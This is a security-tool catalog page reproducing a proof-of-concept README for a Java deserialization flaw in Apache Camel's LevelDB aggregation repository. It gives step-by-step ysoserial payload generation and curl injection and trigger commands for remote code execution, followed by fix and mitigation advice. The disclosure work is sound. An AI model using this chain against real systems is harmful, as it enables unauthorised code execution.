Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-25747 — CVE-2026-25747 - Camel LevelDB Deserialization Vulnerability | Kitploit
Инструменты/GitHubGitHub/oscerd/cve-2026-25747
Vulnerability AnalysisCode AnalysisExploitationWeb SecurityPenetration TestingLearning & Education
GitHuboscerd/cve-2026-25747

CVE-2026-25747

CVE-2026-25747 - Camel LevelDB Deserialization Vulnerability

Репозиторий
6 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Репродуктор уязвимости десериализации LevelDB

Этот проект демонстрирует уязвимость десериализации Java в репозитории агрегации LevelDB Apache Camel, аналогичную CVE-2024-23114 (которая затрагивала репозиторий агрегации Cassandra).

Сводка уязвимости

СвойствоЗначение
Компонентcamel-leveldb
Затронутый классDefaultLevelDBSerializer.java
Уязвимые методыdeserializeKey(), deserializeExchange()
CWECWE-502: Десериализация недоверенных данных
ВоздействиеУдалённое выполнение кода (RCE)
Затронутые версииВсе версии, включая 4.17.0 (не исправлено на момент тестирования)

Технические подробности

Класс DefaultLevelDBSerializer использует сырой ObjectInputStream без какой-либо фильтрации:

root@kitploit:~
// DefaultLevelDBSerializer.java lines 42-47
public String deserializeKey(byte[] buffer) throws IOException {
    try (final ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(buffer))) {
        return (String) ois.readObject();  // NO FILTERING!
    }
}

// Lines 63-71
public Exchange deserializeExchange(CamelContext camelContext, byte[] buffer) throws IOException {
    return deserializeExchange(camelContext, buffer, b -> {
        try (final ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(buffer))) {
            return (DefaultExchangeHolder) ois.readObject();  // NO FILTERING!
        }
    });
}

Сравните это с исправленной реализацией Cassandra (начиная с Camel 4.4.0):

root@kitploit:~
// CassandraCamelCodec.java - PROTECTED
private Object deserialize(CamelContext camelContext, InputStream bytes, String deserializationFilter) {
    ObjectInputStream objectIn = new ClassLoadingAwareObjectInputStream(classLoader, bytes);
    objectIn.setObjectInputFilter(ObjectInputFilter.Config.createFilter(deserializationFilter));
    // Filter: "java.**;org.apache.camel.**;!*" - blocks gadget classes
    return objectIn.readObject();
}

Предварительные требования

  • Java 17+
  • Maven 3.8+
  • ysoserial (для генерации полезной нагрузки)

Шаги воспроизведения

Шаг 1: Сборка и запуск приложения

root@kitploit:~
cd potential-leveldb
mvn clean package -DskipTests
mvn spring-boot:run

Шаг 2: Инициализация базы данных LevelDB

root@kitploit:~
# First, initialize the LevelDB database (creates directory and adds a test entry)
curl http://localhost:8080/exploit/init

Ожидаемый вывод:

root@kitploit:~
LevelDB initialized successfully!
Database path: /tmp/leveldb-exploit/aggregation.db
Repository name: myrepo
Added test exchange with key: test-key

Now you can inject a malicious payload with POST /exploit/inject

Шаг 3: Генерация вредоносной полезной нагрузки

Скачайте ysoserial и сгенерируйте полезную нагрузку:

root@kitploit:~
# Download ysoserial
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar

# Generate payload that executes a command (e.g., open calculator, touch file, etc.)
# For Linux:
java -jar ysoserial-all.jar CommonsCollections7 "touch /tmp/pwned" | xxd -p | tr -d '\n' > payload.txt

# For macOS:
java -jar ysoserial-all.jar CommonsCollections7 "open -a Calculator" | xxd -p | tr -d '\n' > payload.txt

# For Windows:
java -jar ysoserial-all.jar CommonsCollections7 "calc.exe" | xxd -p | tr -d '\n' > payload.txt

Шаг 4: Внедрение полезной нагрузки в LevelDB

root@kitploit:~
# Inject the malicious serialized object into LevelDB
curl -X POST http://localhost:8080/exploit/inject \
  -H "Content-Type: text/plain" \
  -d @payload.txt

Ожидаемый вывод:

root@kitploit:~
Malicious payload injected into LevelDB!
Payload size: XXXX bytes
Key: myrepo^@malicious-key

The payload will be deserialized when:
1. The application restarts and recovers aggregations
2. A get() operation is performed on this key
3. The scan/recover mechanism runs

Шаг 5: Запуск десериализации (RCE!)

root@kitploit:~
# Trigger the vulnerability by reading from LevelDB
curl http://localhost:8080/exploit/trigger

Это переберёт все ключи и вызовет repo.get(), что запустит десериализацию!

Шаг 6: Проверка эксплуатации

root@kitploit:~
# Check if the command was executed
ls -la /tmp/pwned

Если файл /tmp/pwned существует, эксплуатация прошла успешно!

Векторы атаки

Уязвимость может быть задействована несколькими путями:

  1. Перезапуск приложения: При запуске Camel восстанавливает незавершённые агрегации из LevelDB
  2. Механизм восстановления: Периодическое сканирование восстановления десериализует сохранённые обмены
  3. Прямой доступ: Любой вызов get() в репозитории запускает десериализацию

Условия эксплуатации

Для успешной эксплуатации:

  1. Доступ на запись к LevelDB: Атакующий должен иметь возможность записывать в файл базы данных LevelDB

    • Общая файловая система
    • Скомпрометированное хранилище
    • Другая уязвимость, позволяющая запись файлов
  2. Библиотека гаджетов в classpath: Должна присутствовать библиотека с эксплуатируемыми цепочками гаджетов

    • commons-collections:3.2.1 (гаджеты CommonsCollections1-7)
    • org.springframework:spring-core (гаджеты Spring)
    • Многие другие (см. ysoserial)

Сравнение с CVE-2024-23114

Рекомендуемое исправление

Примените то же исправление, что и для Cassandra:

  1. Используйте ClassLoadingAwareObjectInputStream вместо сырого ObjectInputStream
  2. Добавьте настраиваемый ObjectInputFilter с безопасными значениями по умолчанию
  3. Фильтр по умолчанию: "java.**;org.apache.camel.**;!*"

Пример исправления для DefaultLevelDBSerializer.java:

root@kitploit:~
private String deserializationFilter = "java.**;org.apache.camel.**;!*";

public Exchange deserializeExchange(CamelContext camelContext, byte[] buffer) throws IOException {
    ClassLoader classLoader = camelContext.getApplicationContextClassLoader();
    try (ObjectInputStream ois = new ClassLoadingAwareObjectInputStream(classLoader,
            new ByteArrayInputStream(buffer))) {
        ois.setObjectInputFilter(ObjectInputFilter.Config.createFilter(deserializationFilter));
        DefaultExchangeHolder holder = (DefaultExchangeHolder) ois.readObject();
        // ... rest of deserialization
    }
}

Смягчение последствий

До выпуска исправления:

  1. Ограничьте доступ к файлам: Убедитесь, что файлы LevelDB доступны для записи только приложению Camel
  2. Удалите библиотеки гаджетов: Если возможно, удалите или обновите уязвимые библиотеки, такие как commons-collections 3.x
  3. Используйте альтернативный сериализатор: Настройте JacksonLevelDBSerializer вместо DefaultLevelDBSerializer
  4. Сегментация сети: Изолируйте системы, использующие агрегацию LevelDB

Файлы

root@kitploit:~
potential-leveldb/
├── pom.xml                          # Maven configuration with vulnerable deps
├── README.md                        # This file
└── src/main/java/com/example/
    ├── Application.java             # Spring Boot entry point
    ├── LevelDBRoute.java           # Camel route using LevelDB aggregation
    ├── StringAggregationStrategy.java
    └── ExploitController.java      # REST endpoints for exploitation

Отказ от ответственности

Данный репродуктор предоставлен только для исследований в области безопасности и авторизованного тестирования. Не используйте его против систем без явного разрешения.

Скачать инструмент
АспектCassandra (CVE-2024-23114)LevelDB (данная проблема)
СтатусИсправлено в 4.4.0НЕ ИСПРАВЛЕНО в 4.17.0
ObjectInputStreamИспользует ClassLoadingAwareObjectInputStreamИспользует сырой ObjectInputStream
Фильтр десериализации"java.**;org.apache.camel.**;!*"Нет
JIRACAMEL-20306Ещё не создан